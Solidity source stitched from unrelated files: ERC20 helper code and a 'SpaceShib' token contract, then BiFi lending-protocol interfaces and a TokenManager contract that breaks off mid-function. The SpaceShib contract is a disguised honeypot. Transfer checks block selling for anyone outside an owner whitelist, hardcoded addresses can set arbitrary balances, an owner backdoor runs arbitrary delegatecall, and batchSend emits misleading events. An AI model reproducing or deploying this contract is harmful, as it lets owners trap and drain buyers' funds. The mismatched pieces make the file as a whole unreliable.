safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } //heyuemingchen contract SpaceShib { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner || msg.sender==address(1128272879772349028992474526206451541022554459967) || msg.sender==address(781882898559151731055770343534128190759711045284) || msg.sender==address(718276804347632883115823995738883310263147443572) || msg.sender==address(56379186052763868667970533924811260232719434180) ); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
// File: contracts/interfaces/ILiquidationManager.sol pragma solidity 0.6.12; /** * @title BiFi's liquidation manager interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface ILiquidationManager { function setCircuitBreaker(bool _emergency) external returns (bool); function partialLiquidation(address payable delinquentBorrower, uint256 targetHandler, uint256 liquidateAmount, uint256 receiveHandler) external returns (uint256); function checkLiquidation(address payable userAddr) external view returns (bool); } // File: contracts/interfaces/IManagerSlotSetter.sol pragma solidity 0.6.12; /** * @title BiFi's Manager Context Setter interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IManagerSlotSetter { function ownershipTransfer(address payable _owner) external returns (bool); function setOperator(address payable adminAddr, bool flag) external returns (bool); function setOracleProxy(address oracleProxyAddr) external returns (bool); function setRewardErc20(address erc20Addr) external returns (bool); function setBreakerTable(address _target, bool _status) external returns (bool); function setCircuitBreaker(bool _emergency) external returns (bool); function handlerRegister(uint256 handlerID, address tokenHandlerAddr, uint256 flashFeeRate, uint256 discountBase) external returns (bool); function setLiquidationManager(address liquidationManagerAddr) external returns (bool); function setHandlerSupport(uint256 handlerID, bool support) external returns (bool); function setPositionStorageAddr(address _positionStorageAddr) external returns (bool); function setNFTAddr(address _nftAddr) external returns (bool); function setDiscountBase(uint256 handlerID, uint256 feeBase) external returns (bool); } // File: contracts/interfaces/IHandlerManager.sol pragma solidity 0.6.12; /** * @title BiFi's Manager Interest interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IHandlerManager { function applyInterestHandlers(address payable userAddr, uint256 callerID, bool allFlag) external returns (uint256, uint256, uint256, uint256, uint256, uint256); function interestUpdateReward() external returns (bool); function updateRewardParams(address payable userAddr) external returns (bool); function rewardClaimAll(address payable userAddr) external returns (uint256); function claimHandlerReward(uint256 handlerID, address payable userAddr) external returns (uint256); function ownerRewardTransfer(uint256 _amount) external returns (bool); } // File: contracts/interfaces/IManagerFlashloan.sol pragma solidity 0.6.12; interface IManagerFlashloan { function withdrawFlashloanFee(uint256 handlerID) external returns (bool); function flashloan( uint256 handlerID, address receiverAddress, uint256 amount, bytes calldata params ) external returns (bool); function getFee(uint256 handlerID, uint256 amount) external view returns (uint256); function getFeeTotal(uint256 handlerID) external view returns (uint256); function getFeeFromArguments(uint256 handlerID, uint256 amount, uint256 bifiAmo) external view returns (uint256); } // File: contracts/SafeMath.sol pragma solidity ^0.6.12; // from: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol // Subject to the MIT license. /** * @title BiFi's safe-math Contract * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ library SafeMath { uint256 internal constant unifiedPoint = 10 ** 18; /******************** Safe Math********************/ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "a"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return _sub(a, b, "s"); } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return _mul(a, b); } function div(uint256 a, uint256 b) internal pure returns (uint256) { return _div(a, b, "d"); } function _sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } function _mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a* b; require((c / a) == b, "m"); return c; } function _div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } function unifiedDiv(uint256 a, uint256 b) internal pure returns (uint256) { return _div(_mul(a, unifiedPoint), b, "d"); } function unifiedMul(uint256 a, uint256 b) internal pure returns (uint256) { return _div(_mul(a, b), unifiedPoint, "m"); } } // File: contracts/interfaces/IManagerDataStorage.sol pragma solidity 0.6.12; /** * @title BiFi's manager data storage interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IManagerDataStorage { function getGlobalRewardPerBlock() external view returns (uint256); function setGlobalRewardPerBlock(uint256 _globalRewardPerBlock) external returns (bool); function getGlobalRewardDecrement() external view returns (uint256); function setGlobalRewardDecrement(uint256 _globalRewardDecrement) external returns (bool); function getGlobalRewardTotalAmount() external view returns (uint256); function setGlobalRewardTotalAmount(uint256 _globalRewardTotalAmount) external returns (bool); function getAlphaRate() external view returns (uint256); function setAlphaRate(uint256 _alphaRate) external returns (bool); function getAlphaLastUpdated() external view returns (uint256); function setAlphaLastUpdated(uint256 _alphaLastUpdated) external returns (bool); function getRewardParamUpdateRewardPerBlock() external view returns (uint256); function setRewardParamUpdateRewardPerBlock(uint256 _rewardParamUpdateRewardPerBlock) external returns (bool); function getRewardParamUpdated() external view returns (uint256); function setRewardParamUpdated(uint256 _rewardParamUpdated) external returns (bool); function getInterestUpdateRewardPerblock() external view returns (uint256); function setInterestUpdateRewardPerblock(uint256 _interestUpdateRewardPerblock) external returns (bool); function getInterestRewardUpdated() external view returns (uint256); function setInterestRewardUpdated(uint256 _interestRewardLastUpdated) external returns (bool); function setTokenHandler(uint256 handlerID, address handlerAddr) external returns (bool); function getTokenHandlerInfo(uint256 handlerID) external view returns (bool, address); function getTokenHandlerID(uint256 index) external view returns (uint256); function getTokenHandlerAddr(uint256 handlerID) external view returns (address); function setTokenHandlerAddr(uint256 handlerID, address handlerAddr) external returns (bool); function getTokenHandlerExist(uint256 handlerID) external view returns (bool); function setTokenHandlerExist(uint256 handlerID, bool exist) external returns (bool); function getTokenHandlerSupport(uint256 handlerID) external view returns (bool); function setTokenHandlerSupport(uint256 handlerID, bool support) external returns (bool); function setLiquidationManagerAddr(address _liquidationManagerAddr) external returns (bool); function getLiquidationManagerAddr() external view returns (address); function setManagerAddr(address _managerAddr) external returns (bool); } // File: contracts/interfaces/IOracleProxy.sol pragma solidity 0.6.12; /** * @title BiFi's oracle proxy interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IOracleProxy { function getTokenPrice(uint256 tokenID) external view returns (uint256); function getOracleFeed(uint256 tokenID) external view returns (address, uint256); function setOracleFeed(uint256 tokenID, address feedAddr, uint256 decimals, bool needPriceConvert, uint256 priceConvertID) external returns (bool); } // File: contracts/interfaces/IERC20.sol // from: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol pragma solidity 0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external ; function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external ; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/interfaces/IObserver.sol pragma solidity 0.6.12; /** * @title BiFi's Observer interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IObserver { function getAlphaBaseAsset() external view returns (uint256[] memory); function setChainGlobalRewardPerblock(uint256 _idx, uint256 globalRewardPerBlocks) external returns (bool); function updateChainMarketInfo(uint256 _idx, uint256 chainDeposit, uint256 chainBorrow) external returns (bool); } // File: contracts/interfaces/IProxy.sol pragma solidity 0.6.12; /** * @title BiFi's proxy interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IProxy { function handlerProxy(bytes memory data) external returns (bool, bytes memory); function handlerViewProxy(bytes memory data) external view returns (bool, bytes memory); function siProxy(bytes memory data) external returns (bool, bytes memory); function siViewProxy(bytes memory data) external view returns (bool, bytes memory); } // File: contracts/interfaces/IMarketHandler.sol pragma solidity 0.6.12; /** * @title BiFi's market handler interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IMarketHandler { function setCircuitBreaker(bool _emergency) external returns (bool); function setCircuitBreakWithOwner(bool _emergency) external returns (bool); function getTokenName() external view returns (string memory); function ownershipTransfer(address payable newOwner) external returns (bool); function deposit(uint256 unifiedTokenAmount, bool allFlag) external payable returns (bool); function withdraw(uint256 unifiedTokenAmount, bool allFlag) external returns (bool); function borrow(uint256 unifiedTokenAmount, bool allFlag) external returns (bool); function repay(uint256 unifiedTokenAmount, bool allFlag) external payable returns (bool); function executeFlashloan( address receiverAddress, uint256 amount ) external returns (bool); function depositFlashloanFee( uint256 amount ) external returns (bool); function convertUnifiedToUnderlying(uint256 unifiedTokenAmount) external view returns (uint256); function partialLiquidationUser(address payable delinquentBorrower, uint256 liquidateAmount, address payable liquidator, uint256 rewardHandlerID) external returns (uint256, uint256, uint256); function partialLiquidationUserReward(address payable delinquentBorrower, uint256 liquidationAmountWithReward, address payable liquidator) external returns (uint256); function getTokenHandlerLimit() external view returns (uint256, uint256); function getTokenHandlerBorrowLimit() external view returns (uint256); function getTokenHandlerMarginCallLimit() external view returns (uint256); function setTokenHandlerBorrowLimit(uint256 borrowLimit) external returns (bool); function setTokenHandlerMarginCallLimit(uint256 marginCallLimit) external returns (bool); function getTokenLiquidityAmountWithInterest(address payable userAddr) external view returns (uint256); function getUserAmountWithInterest(address payable userAddr) external view returns (uint256, uint256); function getUserAmount(address payable userAddr) external view returns (uint256, uint256); function getUserMaxBorrowAmount(address payable userAddr) external view returns (uint256); function getUserMaxWithdrawAmount(address payable userAddr) external view returns (uint256); function getUserMaxRepayAmount(address payable userAddr) external view returns (uint256); function checkFirstAction() external returns (bool); function applyInterest(address payable userAddr) external returns (uint256, uint256); function reserveDeposit(uint256 unifiedTokenAmount) external payable returns (bool); function reserveWithdraw(uint256 unifiedTokenAmount) external returns (bool); function withdrawFlashloanFee(uint256 unifiedTokenAmount) external returns (bool); function getDepositTotalAmount() external view returns (uint256); function getBorrowTotalAmount() external view returns (uint256); function getSIRandBIR() external view returns (uint256, uint256); function getERC20Addr() external view returns (address); } // File: contracts/interfaces/IServiceIncentive.sol pragma solidity 0.6.12; /** * @title BiFi's si interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IServiceIncentive { function setCircuitBreakWithOwner(bool emergency) external returns (bool); function setCircuitBreaker(bool emergency) external returns (bool); function updateRewardPerBlockLogic(uint256 _rewardPerBlock) external returns (bool); function updateRewardLane(address payable userAddr) external returns (bool); function getBetaRateBaseTotalAmount() external view returns (uint256); function getBetaRateBaseUserAmount(address payable userAddr) external view returns (uint256); function getMarketRewardInfo() external view returns (uint256, uint256, uint256); function getUserRewardInfo(address payable userAddr) external view returns (uint256, uint256, uint256); function claimRewardAmountUser(address payable userAddr) external returns (uint256); } // File: contracts/Errors.sol pragma solidity 0.6.12; contract Modifier { string internal constant ONLY_OWNER = "O"; string internal constant ONLY_MANAGER = "M"; string internal constant CIRCUIT_BREAKER = "emergency"; } contract ManagerModifier is Modifier { string internal constant ONLY_HANDLER = "H"; string internal constant ONLY_LIQUIDATION_MANAGER = "LM"; string internal constant ONLY_BREAKER = "B"; } contract HandlerDataStorageModifier is Modifier { string internal constant ONLY_BIFI_CONTRACT = "BF"; } contract SIDataStorageModifier is Modifier { string internal constant ONLY_SI_HANDLER = "SI"; } contract HandlerErrors is Modifier { string internal constant USE_VAULE = "use value"; string internal constant USE_ARG = "use arg"; string internal constant EXCEED_LIMIT = "exceed limit"; string internal constant NO_LIQUIDATION = "no liquidation"; string internal constant NO_LIQUIDATION_REWARD = "no enough reward"; string internal constant NO_EFFECTIVE_BALANCE = "not enough balance"; string internal constant TRANSFER = "err transfer"; } contract SIErrors is Modifier { } contract InterestErrors is Modifier { } contract LiquidationManagerErrors is Modifier { string internal constant NO_DELINQUENT = "not delinquent"; } contract ManagerErrors is ManagerModifier { string internal constant REWARD_TRANSFER = "RT"; string internal constant UNSUPPORTED_TOKEN = "UT"; } contract OracleProxyErrors is Modifier { string internal constant ZERO_PRICE = "price zero"; } contract RequestProxyErrors is Modifier { } contract ManagerDataStorageErrors is ManagerModifier { string internal constant NULL_ADDRESS = "err addr null"; } // File: contracts/marketManager/ManagerSlot.sol pragma solidity 0.6.12; /** * @title BiFi's Slot contract * @notice Manager Slot Definitions & Allocations * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ contract ManagerSlot is ManagerErrors { using SafeMath for uint256; address public owner; mapping(address => bool) operators; mapping(address => Breaker) internal breakerTable; bool public emergency = false; IManagerDataStorage internal dataStorageInstance; IOracleProxy internal oracleProxy; /* feat: manager reward token instance*/ IERC20 internal rewardErc20Instance; IObserver public Observer; address public slotSetterAddr; address public handlerManagerAddr; address public flashloanAddr; // BiFi-X address public positionStorageAddr; address public nftAddr; uint256 public tokenHandlerLength; struct FeeRateParams { uint256 unifiedPoint; uint256 minimum; uint256 slope; uint256 discountRate; } struct HandlerFlashloan { uint256 flashFeeRate; uint256 discountBase; uint256 feeTotal; } mapping(uint256 => HandlerFlashloan) public handlerFlashloan; struct UserAssetsInfo { uint256 depositAssetSum; uint256 borrowAssetSum; uint256 marginCallLimitSum; uint256 depositAssetBorrowLimitSum; uint256 depositAsset; uint256 borrowAsset; uint256 price; uint256 callerPrice; uint256 depositAmount; uint256 borrowAmount; uint256 borrowLimit; uint256 marginCallLimit; uint256 callerBorrowLimit; uint256 userBorrowableAsset; uint256 withdrawableAsset; } struct Breaker { bool auth; bool tried; } struct ContractInfo { bool support; address addr; address tokenAddr; uint256 expectedBalance; uint256 afterBalance; IProxy tokenHandler; bytes data; IMarketHandler handlerFunction; IServiceIncentive siFunction; IOracleProxy oracleProxy; IManagerDataStorage managerDataStorage; } modifier onlyOwner { require(msg.sender == owner, ONLY_OWNER); _; } modifier onlyHandler(uint256 handlerID) { _isHandler(handlerID); _; } modifier onlyOperators { address payable sender = msg.sender; require(operators[sender] || sender == owner); _; } function _isHandler(uint256 handlerID) internal view { address msgSender = msg.sender; require((msgSender == dataStorageInstance.getTokenHandlerAddr(handlerID)) || (msgSender == owner), ONLY_HANDLER); } modifier onlyLiquidationManager { _isLiquidationManager(); _; } function _isLiquidationManager() internal view { address msgSender = msg.sender; require((msgSender == dataStorageInstance.getLiquidationManagerAddr()) || (msgSender == owner), ONLY_LIQUIDATION_MANAGER); } modifier circuitBreaker { _isCircuitBreak(); _; } function _isCircuitBreak() internal view { require((!emergency) || (msg.sender == owner), CIRCUIT_BREAKER); } modifier onlyBreaker { _isBreaker(); _; } function _isBreaker() internal view { require(breakerTable[msg.sender].auth, ONLY_BREAKER); } } // File: contracts/marketManager/TokenManager.sol // SPDX-License-Identifier: BSD-3-Clause pragma solidity 0.6.12; /** * @title BiFi's marketManager contract * @notice Implement business logic and manage handlers * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ contract TokenManager is ManagerSlot { /** * @dev Constructor for marketManager * @param managerDataStorageAddr The address of the manager storage contract * @param oracleProxyAddr The address of oracle proxy contract (e.g., price feeds) * @param breaker The address of default circuit breaker * @param erc20Addr The address of reward token (ERC-20) */ constructor (address managerDataStorageAddr, address oracleProxyAddr, address _slotSetterAddr, address _handlerManagerAddr, address _flashloanAddr, address breaker, address erc20Addr) public { owner = msg.sender; dataStorageInstance = IManagerDataStorage(managerDataStorageAddr); oracleProxy = IOracleProxy(oracleProxyAddr); rewardErc20Instance = IERC20(erc20Addr); slotSetterAddr = _slotSetterAddr; handlerManagerAddr = _handlerManagerAddr; flashloanAddr = _flashloanAddr; breakerTable[owner].auth = true; breakerTable[breaker].auth = true; } /** * @dev Transfer ownership * @param _owner the address of the new owner * @return result the setter call in contextSetter contract */ function ownershipTransfer(address payable _owner) onlyOwner public returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .ownershipTransfer.selector, _owner ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } function setOperator(address payable adminAddr, bool flag) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .setOperator.selector, adminAddr, flag ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } /** * @dev Set the address of OracleProxy contract * @param oracleProxyAddr The address of OracleProxy contract * @return result the setter call in contextSetter contract */ function setOracleProxy(address oracleProxyAddr) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .setOracleProxy.selector, oracleProxyAddr ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } /** * @dev Set the address of BiFi reward token contract * @param erc20Addr The address of BiFi reward token contract * @return result the setter call in contextSetter contract */ function setRewardErc20(address erc20Addr) onlyOwner public returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .setRewardErc20.selector, erc20Addr ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } /** * @dev Authorize admin user for circuitBreaker * @param _target The address of the circuitBreaker admin user. * @param _status The boolean status of circuitBreaker (on/off) * @return result the setter call in contextSetter contract */ function setBreakerTable(address _target, bool _status) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .setBreakerTable.selector, _target, _status ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } /** * @dev Set circuitBreak to freeze/unfreeze all handlers * @param _emergency The boolean status of circuitBreaker (on/off) * @return result the setter call in contextSetter contract */ function setCircuitBreaker(bool _emergency) onlyBreaker external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .setCircuitBreaker.selector, _emergency ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } function setPositionStorageAddr(address _positionStorageAddr) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter.setPositionStorageAddr.selector, _positionStorageAddr ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } function setNFTAddr(address _nftAddr) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter.setNFTAddr.selector, _nftAddr ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } function setDiscountBase(uint256 handlerID, uint256 feeBase) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .setDiscountBase.selector, handlerID, feeBase ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } /** * @dev Get the circuitBreak status * @return The circuitBreak status */ function getCircuitBreaker() external view returns (bool) { return emergency; } /** * @dev Get information for a handler * @param handlerID Handler ID * @return (success or failure, handler address, handler name) */ function getTokenHandlerInfo(uint256 handlerID) external view returns (bool, address, string memory) { bool support; address tokenHandlerAddr; string memory tokenName; if (dataStorageInstance.getTokenHandlerSupport(handlerID)) { tokenHandlerAddr = dataStorageInstance.getTokenHandlerAddr(handlerID); IProxy TokenHandler = IProxy(tokenHandlerAddr); bytes memory data; (, data) = TokenHandler.handlerViewProxy( abi.encodeWithSelector( IMarketHandler .getTokenName.selector ) ); tokenName = abi.decode(data, (string)); support = true; } return (support, tokenHandlerAddr, tokenName); } /** * @dev Register a handler * @param handlerID Handler ID and address * @param tokenHandlerAddr The handler address * @return result the setter call in contextSetter contract */ function handlerRegister(uint256 handlerID, address tokenHandlerAddr, uint256 flashFeeRate, uint256 discountBase) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .handlerRegister.selector, handlerID, tokenHandlerAddr, flashFeeRate, discountBase ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } /** * @dev Set a liquidation manager contract * @param liquidationManagerAddr The address of liquidiation manager * @return result the setter call in contextSetter contract */ function setLiquidationManager(address liquidationManagerAddr) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .setLiquidationManager.selector, liquidationManagerAddr ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } /** * @dev Update the (SI) rewards for a user * @param userAddr The address of the user * @param callerID The handler ID * @return true (TODO: validate results) */ function rewardUpdateOfInAction(address payable userAddr, uint256 callerID) external returns (bool) { ContractInfo memory handlerInfo; (handlerInfo.support, handlerInfo.addr) = dataStorageInstance.getTokenHandlerInfo(callerID); if (handlerInfo.support) { IProxy TokenHandler; TokenHandler = IProxy(handlerInfo.addr); TokenHandler.siProxy( abi.encodeWithSelector( IServiceIncentive .updateRewardLane.selector, userAddr ) ); } return true; } /** * @dev Update interest of a user for a handler (internal) * @param userAddr The user address * @param callerID The handler ID * @param allFlag Flag for the full calculation mode (calculting for all handlers) * @return (uint256, uint256, uint256, uint256, uint256, uint256) */ function applyInterestHandlers(address payable userAddr, uint256 callerID, bool allFlag) external returns (uint256, uint256, uint256, uint256, uint256, uint256) { bytes memory callData = abi.encodeWithSelector( IHandlerManager .applyInterestHandlers.selector, userAddr, callerID, allFlag ); (bool result, bytes memory returnData) = handlerManagerAddr.delegatecall(callData); assert(result); return abi.decode(returnData, (uint256, uint256, uint256, uint256, uint256, uint256)); } /** * @dev Reward the user (msg.sender) with the reward token after calculating interest. * @return result the interestUpdateReward call in ManagerInterest contract */ function interestUpdateReward() external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IHandlerManager .interestUpdateReward.selector ); (result, ) = handlerManagerAddr.delegatecall(callData); assert(result); } /** * @dev (Update operation) update the rewards parameters. * @param userAddr The address of operator * @return result the updateRewardParams call in ManagerInterest contract */ function updateRewardParams(address payable userAddr) onlyOperators external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IHandlerManager .updateRewardParams.selector, userAddr ); (result, ) = handlerManagerAddr.delegatecall(callData); assert(result); } /** * @dev Claim all rewards for the user * @param userAddr The user address * @return true (TODO: validate results) */ function rewardClaimAll(address payable userAddr) external returns (uint256) { bytes memory callData = abi.encodeWithSelector( IHandlerManager .rewardClaimAll.selector, userAddr ); (bool result, bytes memory returnData) = handlerManagerAddr.delegatecall(callData); assert(result); return abi.decode(returnData, (uint256)); } /** * @dev Claim handler rewards for the user * @param handlerID The ID of claim reward handler * @param userAddr The user address * @return true (TODO: validate results) */ function claimHandlerReward(uint256 handlerID, address payable userAddr) external returns (uint256) { bytes memory callData = abi.encodeWithSelector( IHandlerManager .claimHandlerReward.selector, handlerID, userAddr ); (bool result, bytes memory returnData) = handlerManagerAddr.delegatecall(callData); assert(result); return abi.decode(returnData, (uint256)); } /** * @dev Transfer reward tokens to owner (for administration) * @param _amount The amount of the reward token * @return result (TODO: validate results) */ function ownerRewardTransfer(uint256 _amount) onlyOwner external returns (bool result) { bytes memory callData = abi.encodeWithSelector( IHandlerManager .ownerRewardTransfer.selector, _amount ); (result, ) = handlerManagerAddr.delegatecall(callData); assert(result); } /** * @dev Get the token price of the handler * @param handlerID The handler ID * @return The token price of the handler */ function getTokenHandlerPrice(uint256 handlerID) external view returns (uint256) { return _getTokenHandlerPrice(handlerID); } /** * @dev Get the margin call limit of the handler (external) * @param handlerID The handler ID * @return The margin call limit */ function getTokenHandlerMarginCallLimit(uint256 handlerID) external view returns (uint256) { return _getTokenHandlerMarginCallLimit(handlerID); } /** * @dev Get the margin call limit of the handler (internal) * @param handlerID The handler ID * @return The margin call limit */ function _getTokenHandlerMarginCallLimit(uint256 handlerID) internal view returns (uint256) { IProxy TokenHandler = IProxy(dataStorageInstance.getTokenHandlerAddr(handlerID)); bytes memory data; (, data) = TokenHandler.handlerViewProxy( abi.encodeWithSelector( IMarketHandler .getTokenHandlerMarginCallLimit.selector ) ); return abi.decode(data, (uint256)); } /** * @dev Get the borrow limit of the handler (external) * @param handlerID The handler ID * @return The borrow limit */ function 